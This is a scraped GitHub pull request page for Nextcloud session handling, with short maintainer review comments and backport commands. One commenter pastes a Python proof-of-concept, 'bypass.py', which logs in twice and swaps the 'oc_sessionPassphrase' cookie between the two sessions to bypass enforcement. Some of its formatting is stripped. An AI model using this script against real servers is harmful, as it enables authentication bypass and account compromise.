Skip to content

Conversation

@rullzer
Copy link
Member

@rullzer rullzer commented Dec 4, 2020

Signed-off-by: Roeland Jago Douma [email protected]

);
} catch (\Exception $e) {
$this->sessionValues = [];
$this->regenerateId(true, false);
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Those are the default values, so skip?

Copy link
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd rather be explicit here

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#!/usr/bin/python3

python3 -m pip install requests beautifulsoup4

python3 bypass.py

from requests import Session
from bs4 import BeautifulSoup

class NextCloud(object):
def init(self, baseURL):
self.session = Session()
self.baseURL = baseURL

def login(self, data):
    response = self.session.get(f'{self.baseURL}/login')
    soup = BeautifulSoup(response.text, 'html.parser')
    data.update({
        'requesttoken': soup.find('head')['data-requesttoken']
    })
    self.session.post(f'{self.baseURL}/login', data = data)

def getCookies(self):
    return self.session.cookies.get_dict()

if name == 'main':
baseURL = 'http://nextcloud.diefunction.local'
data = {
'user': 'bypass',
'password': 'NextCloudEnforcement'
}
firstSession = NextCloud(baseURL)
secondSession = NextCloud(baseURL)
firstSession.login(data)
secondSession.login(data)
cookies = firstSession.getCookies()
cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
print(f'[Cookies] {cookies}') # change your browser cookies to bypass enforcement

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable20

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable19

@rullzer
Copy link
Member Author

rullzer commented Dec 4, 2020

/backport to stable18

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

3. to review Waiting for reviews enhancement

Projects

None yet

Development

Successfully merging this pull request may close these issues.

5 participants